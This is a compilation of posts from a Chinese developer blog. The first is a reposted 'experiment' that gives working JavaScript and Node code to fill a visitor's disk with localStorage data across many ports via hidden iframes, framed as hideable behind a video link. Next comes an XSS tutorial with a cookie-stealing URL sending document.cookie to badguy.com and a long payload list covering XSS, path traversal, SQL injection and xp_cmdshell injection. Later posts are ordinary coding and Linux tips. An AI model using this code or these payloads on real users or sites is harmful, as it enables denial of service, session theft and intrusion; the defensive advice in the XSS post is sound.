作为一个前端,可以如何机智地弄坏一台电脑? 代码人生
有人说,前端的界限就在浏览器那儿。
无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。
然而,作为一个前端,我发现是有方式打开次元大门的…
这个实验脑洞较大,动机无聊,但某种意义上反映了一些安全问题。
想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!想想还真有点小激动。
起因
故事得从localStorage说起。
html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。
windows下的chrome,localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage
文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。
对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。
那么问题就变成:这样的限制足够保护用户硬盘了吗?
关键
关键的问题在于,这一限制,针对的是一个域名+端口
。
也就是说,你访问同一个域名的不同端口
,它们的localStorage并无关联,是分开存储的。
我用node简单地开启了服务器,这时,用户访问http://127.0.0.1:1000
到http://127.0.0.1:1099
这100个端口,会请求到同一个页面:index.html
:
var http = require('http'); var fs = require('fs'); //100个端口 for(var port = 1000; port< 1100; port++){ http.createServer(function (request, response) { //请忽略这种循环读文件的方式,只为了简便 fs.readFile('./index.html', function(err, content){ if(err) { } else { response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); response.write(content); response.end(); } }); }).listen(port, '127.0.0.1'); }
当然,这个index.html里涉及了localStorage写操作。
var s = ""; //慢慢来,别写太大了,好害怕… for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem("testData", s);
我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。
自动遍历
但这种程度还不够。
如果要实验变得更好(xie)玩(e)一些,问题就变成如何让用户自动遍历这些端口
?
iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000
,页面的脚步就会创建一个iframe,去请求http://127.0.0.1: 1001
,一直循环下去。
var Main = (function(){ var _key = "testData"; var _max = 1100; //最大限制 return { init: function(){ //慢慢来,别写太大了,好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; //新添加iframe var url = "http://127.0.0.1:" + port; var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } } })();
当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…
比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。
然后我就看到请求如潮水渐涨:
但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。
防止浏览器崩溃
C盘还未撑满,同志还需努力。怎么办?
突然想到,到达iframe极限之前,我们可以重定向啊。
每访问50个端口,就使用window.location.href
重定向一次,去确保浏览器不崩溃。
var Main = (function(){ var _key = "testData"; var _max = 1200; //最大限制 var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转 return { init: function(){ //慢慢来,别写太大了,好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; if(port % _jumpSpace == 0){ //每50个,重定向一次 window.location.href = url; }else{ //新添加iframe var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } } } })();
事实证明,这种蛮拼的方法的确可行。
至此,只要访问http://127.0.0.1: 1000
,就会往Local Storage文件夹里写入近500M无用数据:
里面的数据是这样的:
继续实验的黑科技
算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。
结果是这样的,到达了1.17G大小。
在后续的实验中,我就慢慢的把端口数量与存储的数据调大。
电脑也运行得越来越慢。这是为什么呢?
我观察到,有时候执行localStorage.setItem()
后,在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。
但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。
遭遇黑科技的人们能做的只有:
- 等待;
- 用任务管理器关掉chrome进程,再等待;
- 相信并尝试“重启电脑解决90%电脑问题”的科学论断
可以说,浏览器的内心几乎是崩溃的。
最后
最后,还是得用严肃脸告诫一下:害人之心不可有。
本实验,从一开始就是怀揣着将安全问题上交给国家的初衷
去做的(是的就是这么纯粹)。
后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。
由于请求过多,需要一定时间,我就去做别的事情了。
回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。
那么问题来了,计算机修理哪家强?
有点急…
原文地址:http://litten.github.io/2015/07/06/hack-in-localstorage/
结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生
定义(来自百度百科):
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:
这是获取一个网站管理员的cookies
这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。
下面就具体的分析一下是如何形成并且发生的:
假如有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被执行
或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力,取决于用户输入了什么样的脚本
当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
XSS 攻击场景:
1. Dom-Based XSS 漏洞 攻击过程如下
Tom 发现了Victim.com中的一个页面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大概如下
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.
2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,
Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。
其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.
XSS 漏洞修复:
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
- 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。
如何测试XSS漏洞?
方法一: 查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie. 例如在ASP的程序中,通过Request对象获取客户端的变量
<% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>
假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
方法二: 准备测试脚本,
"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)
在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行
方法三: 自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。
附上一些常用的XSS测试代码:
"/><script>alert("测试一下,哈哈")</script><!- ‘><script>alert(document.cookie)</script> =’><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert(‘XSS’)%3C/script%3E <script>alert(‘XSS’)</script> <img src=”javascript:alert(‘XSS’)”> %0a%0a<script>alert(\”Vulnerable\”)</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert(‘Vulnerable’);</script> <script>alert(‘Vulnerable’)</script> ?sql_debug=1 a%5c.aspx a.jsp/<script>alert(‘Vulnerable’)</script> a/ a?<script>alert(‘Vulnerable’)</script> “><script>alert(‘Vulnerable’)</script> ‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini ”;!–“<XSS>=&{()} <IMG src=”javascript:alert(‘XSS’);”> <IMG src=javascript:alert(‘XSS’)> <IMG src=JaVaScRiPt:alert(‘XSS’)> <IMG src=JaVaScRiPt:alert(“XSS”)> <IMG src=javascript:alert(‘XSS’)> <IMG src=javascript:alert(‘XSS’)> <IMG src=javascript:alert('XSS')> <IMG src=”jav ascript:alert(‘XSS’);”> <IMG src=”jav ascript:alert(‘XSS’);”> <IMG src=”jav ascript:alert(‘XSS’);”> “<IMG src=java\0script:alert(\”XSS\”)>”;’ > out <IMG src=” javascript:alert(‘XSS’);”> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND=”javascript:alert(‘XSS’)”> <BODY ONLOAD=alert(‘XSS’)> <IMG DYNSRC=”javascript:alert(‘XSS’)”> <IMG LOWSRC=”javascript:alert(‘XSS’)”> <BGSOUND src=”javascript:alert(‘XSS’);”> <br size=”&{alert(‘XSS’)}”> <LAYER src=”http://www.testsite.com/a.js”></layer> <LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”> <IMG src=’vbscript:msgbox(“XSS”)’> <IMG src=”mocha:”> <IMG src=”livescript:”> <META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”> <IFRAME src=javascript:alert(‘XSS’)></IFRAME> <FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET> <TABLE BACKGROUND=”javascript:alert(‘XSS’)”> <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> <DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”> <DIV STYLE=”width: expression(alert(‘XSS’));”> <STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE> <IMG STYLE=’xss:expre\ssion(alert(“XSS”))’> <STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE> <STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A> <STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> <BASE href=”javascript:alert(‘XSS’);//”> getURL(“javascript:alert(‘XSS’)”) a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d); <XML src=”javascript:alert(‘XSS’);”> “> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“ <SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT> <IMG src=”javascript:alert(‘XSS’)” <!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–> <IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”> <SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT> <SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT> <SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT> <SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT> <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT> <A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A> admin’– ‘ or 0=0 — ” or 0=0 — or 0=0 — ‘ or 0=0 # ” or 0=0 # or 0=0 # ‘ or ‘x’=’x ” or “x”=”x ‘) or (‘x’=’x ‘ or 1=1– ” or 1=1– or 1=1– ‘ or a=a– ” or “a”=”a ‘) or (‘a’=’a “) or (“a”=”a hi” or “a”=”a hi” or 1=1 — hi’ or 1=1 — hi’ or ‘a’=’a hi’) or (‘a’=’a hi”) or (“a”=”a
HTML Encode 和URL Encode的区别
刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。
例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
浏览器中的XSS过滤器
为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图
如果需要做测试, 最好使用IE7-。
ASP.NET中的XSS安全机制
ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。
如果想禁止这个安全特性, 可以通过 <%@ Page validateRequest=“false" %>
想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss
参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库 代码人生
这里我用的是引入emlog的主题/插件本地Jquery库做的例子。多了就不说了,直接上代码:
<script src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script> <script type="text/javascript"> //<![CDATA[ //判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库 if (typeof jQuery == 'undefined') {document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>");} //]]> </script>
或者有更短一点的:
<script src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script> <script type="text/javascript"> //<![CDATA[ //判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库 !window.jQuery && document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>"); //]]> </script>
2015最新.NET 24期Unity3D实战培训-全套不加密 资源分享
看到有人在我博客留言说要这个教程,我就免费分享一下,有需要的自己下载吧。
传智.net 24期就业班培训,相比21期增加了Unity3D游戏,主要培训内容有基础加强六天、数据库四天、SQL和ADO.Net高级三天、JAVAScript、DOM、JQuery、三层项目+SVN、ASP.NET、图书商城项目、MVC、OA项目、Win10通用APP开发、Unity3D游戏实例。龙天技术论坛学习.NET编程开发最佳选择!
2015-04-14基础加强1
2015-04-15基础加强2
2015-04-17基础加强3
2015-04-18基础加强4
2015-04-19基础加强5
2015-04-21基础加强6
2015-04-22 数据库01
2015-04-24 数据库02
2015-04-25 数据库03
2015-04-26 数据库04 SQL和ADO.Net
2015-04-28 SQL和ADO.Net高级
2015-04-29 SQL和ADO.Net高级
2015-04-30 SQL和ADO.Net高级
2015-05-05 JavaScript
2015-05-06 DOM
2015-05-08 DOM
2015-05-09 JQuery
2015-05-10 JQuery
2015-05-12 JQuery
2015-05-13.NET就业班-三层项目+SVN
2015-05-15.NET就业班-三层项目+SVN
2015-05-16.NET就业班-三层项目+SVN
2015-05-17.NET就业班-三层项目+SVN
2015-05-19.NET就业班-三层项目+SVN
2015-05-20 学员项目实战,不录制视频
2015-05-22 学员项目实战,不录制视频
2015-05-23 学员项目实战,不录制视频
2015-05-24-ASP.NET1
2015-05-26-ASP.NET2
2015-05-27-ASP.NET3
2015-05-29-ASP.NET4
2015-05-30-ASP.NET5
2015-05-31-ASP.NET6
2015-06-02-ASP.NET7
2015-06-03-ASP.NET8
2015-06-05-ASP.NET9
2015-06-06-ASP.NET10
2015-06-07-ASP.NET11
2015-06-09 图书商城项目1
2015-06-10 图书商城项目2
2015-06-12 图书商城项目3
2015-06-13 图书商城项目4
2015-06-14 图书商城项目5
2015-06-17 EF
2015-06-18 MVC
2015-06-20 端午节放假
2015-06-21 MVC
2015-06-22-OA项目第一天Asp.netMVC原理,框架搭建内容
2015-06-23-OA项目第二天
2015-06-25-OA项目第三天内容
2015-06-26-OA项目第四天
2015-06-28 OA项目第五天
2015-06-29 OA项目第六天
2015-06-30 OA项目第七天
2015-07-02 OA项目第八天内容
2015-07-03-OA项目第九天内容
2015-07-07 Win10_概述、开发环境、XAML
2015-07-09
2015-07-10 Win10_资源、控件模版、用户控件、动画
2015-07-12 Win10_导航、异步
2015-07-16 Win10_数据绑定、MVVM
2015-07-17 Win10_通知中心、网络编程
2015-07-18 MyMvc
2015-07-20 WebAPI、SignalR、JS跨域
2015-07-21 聊天室案例
2015-07-23 U3d(简介、坐标系、GUI)
2015-07-24 U3d(NGUI、Transform、Light)
2015-07-25 U3d(导入模型、地形与包、物理引擎)
2015-07-27 U3d(寻路、音频、协同、其它)
2015-07-28 U3d(生命周期、优化、着色器、通信)
2015-07-31 U3d(切水果)
2015-08-02 U3d(捕鱼达人)
2015-08-03 U3d(消灭星星)
2015-08-04 U3d(太空射击)
http://pan.baidu.com/s/1gdZqbWR
链接:http://pan.baidu.com/s/1i4yUBD7 密码:henn
php判断某个日期是否为今天来高亮emlog当天发表的文章 PHP
先贴上简单的代码供大家参考:
<?php /** * PHP判断一个日期是不是今天 * @author Mrxn * @Blog https://mrxn.net/ */ echo '<meta charset="utf-8" />'; // 拟设一个日期 $a = '2015-12-19 10:10:10'; // 截取日期部分,摒弃时分秒 $b = substr($a,0,10); #或者是利用 gmdate()函数格式化,下面会有实例 // 获取今天的日期,格式为 YYYY-MM-DD $c = date('Y-m-d'); // 使用IF当作字符串判断是否相等 if($b==$c){ echo '是今天'; }else{ echo '不是今天'; } ?> <?php /** * PHP判断一个日期是不是今天 * @author Mrxn * @Blog https://mrxn.net/ */ echo '<meta charset="utf-8" />'; // 拟设一个日期 $a = '2015-12-19 10:10:10'; // 转换为时间戳 $a_ux = strtotime($a); // 转换为 YYYY-MM-DD 格式 $a_date = date('Y-m-d',$a_ux); // 获取今天的 YYYY-MM-DD 格式 $b_date = date('Y-m-d'); // 使用IF当作字符串判断是否相等 if($a_date==$b_date){ echo '是今天'; }else{ echo '不是今天'; } ?>
下面就是emlog中具体的利用了:
$nowtime = date('Y-m-d'); $endtime = gmdate('Y-m-d',$row['date']); $date = gmdate('m-d', $row['date']); $gid = $row['gid']; if ($is_list == "1") { $out .='<ul id="ul1">'; if ($nowtime==$endtime) { $out .= ' <li><span style="color:red;font-weight:bold" id="date">[' . $date . ']</span><a style="color:red;font-weight:bold" href="' . Url::log($row['gid']) . '" title="' . $row['title'] . '" ><span id="arrow">▪</span>' . $row['title'] . '</a></li> '; $out .='</ul>'; }else{ $out .= ' <li><span id="date">[' . $date . ']</span><a href="' . Url::log($row['gid']) . '" title="' . $row['title'] . '" ><span id="arrow">▪</span>' . $row['title'] . '</a></li> '; $out .='</ul>'; } }
效果如上图所示,当天发表的文章标题和日期为红色加粗,就是通过判断文章发表时间和当前时间是否为同一天,从而实施不同的css样式,达到想要的效果,当然,你也可以创新,自己修改,比如一周内更新的颜色,或者是几天内更新的又是什么颜色,只需要稍微修改一下if判断就好了。好了,就到这里了,如有什么疑问和建议,欢迎下方评论留言和我交流。
关于A+B+C问题三种语言的解决办法,Java、C语言、Python 代码人生
原题是这个样子的:
这是一个非常简单的题目,意在考察你编程的基础能力。千万别想难了哦。输入为一行,包括了用空格分隔的三个整数A、B、C(数据范围均在-40~40之间)。输出为一行,为“A+B+C”的计算结果。
样例1
输入:
22 1 3
输出:
26
由于我也是刚刚接触Python,所以代码有点长,希望有大神可以指出,帮助我改进,在此 感激不尽!下面就开始贴上我的代码吧,顺序分别是Java、C、Python
Java:
import java.util.Scanner; class Main { public static void main(String[] args) { int a,b,c; Scanner input=new Scanner(System.in); a=input.nextInt(); b=input.nextInt(); c=input.nextInt(); if((a>=-40&&a<=40)&&(b>=-40&&b<=40)&&(c>=-40&&c<=40)) System.out.println(a+b+c); else System.out.println("erro"); } }
C语言:
#include<stdio.h> int main(void) { int a, b, c; scanf("%d%d%d", &a, &b, &c); if(a > 40 || a < -40 || b > 40 || b < -40 || c > 40 || c < -40) return 0; printf("%d", a+b+c); return 0; }
Python:
lst = raw_input().split(' ') sum = 0 for i in lst: sum = sum+int(i) print sum
至于其他的语言,比如什么C++/Ruby,目前还不会。暂且略懂贴出来的这三种语言外加PHP。还希望高手多多指教。最近博主比较忙,也就是要学习Python了,所以,更新估计会慢,还请大家多多包含,多多支持!谢谢!
免费在线生成二维码API接口可以使用了,支持http和https PHP
本站在线二维码API接口 支持https和http 、支持 get 和 post 请求方式、
欢迎大家使用:普通http网站调用样例:http://api.mrxn.net/mrxnqrapi/api.php?data= + 文字/网址等内容 其实http的两个都可以使用的
需要使用https网站可以参看下面的调用方法:
https://mrxn.net/mrxnqrapi/api.php?size=4x4&data=mrxn.net 生成的二维码如下:
Mrxn二维码API参数说明
data:要转码的数据
level:默认L 纠错级别:L、M、Q、H
size:默认4 点的大小:1到10,用于手机端4就可以了
margin:默认1 边距 1到10
logo:默认为空 需要使用logo的请单独找我详谈!
作者:Mrxn Blog: https://mrxn.net Email:[email protected]
当然也有在线制作你喜欢样式的二维码:免费体验一下
制作初衷因为本站是https的,非https加密也是可以使用的,但是浏览器的绿色小锁就会显示感叹号,我这人有强迫症!而且但免费的网站很多的都不支持https,或者是很慢,果断觉得自己搞,问了@独狼一些,还有@php爱好者,最终自己搞定了。
下面给大家列出几个大家常用的国内外的免费在线生成二维码 API 的链接:
支持http的:
http://b.bshare.cn/barCode?site=weixin&url=https://mrxn.net
http://s.jiathis.com/qrcode.php?url=https://mrxn.net
http://qr.liantu.com/api.php?text=mrxn.net
http://api.k780.com:88/?app=qr.get&data=mrxn.net&level=L&size=6
最新发现的百度云盘的:http://pan.baidu.com/share/qrcode?w=150&h=150&url=mrxn.net
支持https的:
国外的:https://api.qrserver.com/v1/create-qr-code/?size=150x150&data=mrxn.net
我自己的:https://mrxn.net/mrxnqrapi/api.php?data=mrxn.net
明月浩空的:https://limh.me/api/qrapibig.php?url=mrxn.net.jpg 他这个必须加括号里面的后缀才行(.jpg)
最新发现的百度云盘的:https://pan.baidu.com/share/qrcode?w=150&h=150&url=mrxn.net (不过加载了非加密的资源,强迫症就别用了!)
更多的二维码分享可以参看我这篇文章:https://mrxn.net/free/261.html
分享4个自动生成网址二维码图片的方法
Centos 查看系统启动时间和运行时间小计 Linux
1.uptime命令
uptime
输出:16:11:40 up 59 days, 4:21, 2 users, load average: 0.00, 0.01, 0.00
如下图所示:
2.查看/proc/uptime文件计算系统启动时间
cat /proc/uptime
输出: 5113396.94 575949.85 第一数字即是系统已运行的时间5113396.94 秒,运用系统工具date即可算出系统启动时间
代码:
date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S"
输出: 2008-11-09 11:50:31
3.查看/proc/uptime文件计算系统运行时间
代码:
cat /proc/uptime| awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'
输出:系统已运行:59天4时13分9秒
由于需要测试刚学的shell编程咋样需要用到,就copy过来备份了,原文地址:http://www.centoscn.com/CentOS/help/2013/0731/834.html
sublime text3安装phpfmt插件格式化php 技术文章
sublime text3也支持php格式化的插件了,在这里向作者致敬,感谢他开发出这个插件,如果你不知道sublime就不要往下看了,免得浪费你的时间,
首先是你的sublime安装了package control(插件管理包),如果没有安装,请自行百度搜索安装,一大堆教程,在你安装了package control之后,引用原作者的话就是:
Install this plugin through Package Manager.
-
In Sublime Text press
ctrl+shift+P
-
Choose
Package Control: Install Package
-
Choose
phpfmt
- 打开sublime,在sublime界面 按 Ctrl+shift+P 组合键,
- 输入 install package,找到Install Package,并回车打开,
- 输入 phpfmt 找到并回车安装,等待安装结束,
做完上面的工作,还不能使用phpfmt插件的,还需要配置插件所需要的php环境,最新版的phpfmt插件需要php5.6或者更高版本,这里,博主离线了两个在百度网盘,分别是php5.6和php7.0的非安全线程压缩包(都是64位的),直接解压到你想放的目录即可,如果需要其他版本或者是32位的请自行前往php官网下载,百度网盘地址:http://pan.baidu.com/s/1kUn5zxl 官方下载页面:http://www.php.net/downloads.php
将自己需要的安装包下载下载后,解压到你想放的地方,比如博主,防止wampserver的php目录里面,这是方便我的wampserver使用,你们可以根据自己的需要放置;接下来就是打开phpfmt配置:
Preferences > Package Settings > phpfmt > Settings - User
我将我的配置贴出来,供大家参考:
{ "enable_auto_align":true,//自动调整对齐 "indent_with_space": true,//自动空格 "psr1": true, "psr2": true, "version": 4, "php_bin":"D:/wamp/bin/php/php5.6.16/php.exe",//php路径 "format_on_save":true,//保存的时候自动格式化 "option": "value" }
其中的php_bin 很重要,就是你存放php的路径,其中的有些配置我在百度没有搜搜到,在国外的网站上看到的,试了一下还不错,原地址:http://stackoverflow.com/questions/29350807/sublime-text-3-php-fmt-wont-work 有兴趣的童鞋可以去看看。
配置完之后,重启sublime text3,打开你需要格式化的php文件,快捷键:Ctrl+F11 或则是在按下组合键Ctrl+shift+P后输入phpfmt 即可选择想要执行的操作,下面是一些常用命令:
The following features are available through command palette (ctrl+shift+P or cmd+shift+P) : phpfmt: format now //立即格式化 ctrl+F11 phpfmt: indentation with spaces phpfmt: toggle additional transformations phpfmt: toggle excluded transformations phpfmt: toggle skip execution when .php.tools.ini is missing phpfmt: toggle auto align phpfmt: toggle autocomplete phpfmt: toggle dependency autoimport phpfmt: toggle format on save phpfmt: toggle PSR1 - Class and Methods names phpfmt: toggle PSR1 phpfmt: toggle PSR2 phpfmt: toggle smart linebreak after open curly phpfmt: toggle visibility order phpfmt: toggle yoda mode phpfmt: analyse this //Ctrl+F10 phpfmt: build autocomplete database phpfmt: getter and setter (camelCase) phpfmt: getter and setter (Go) phpfmt: getter and setter (snake_case) phpfmt: generate PHPDoc block phpfmt: look for .php.tools.ini phpfmt: reorganize content of class phpfmt: refactor phpfmt: toggle PHP 5.5 compatibility mode phpfmt: enable/disable additional transformations phpfmt: troubleshoot information
phpfmt插件作者项目在github的主页:https://github.com/phpfmt/sublime-phpfmt
实际效果看下面是我的亲测的code:
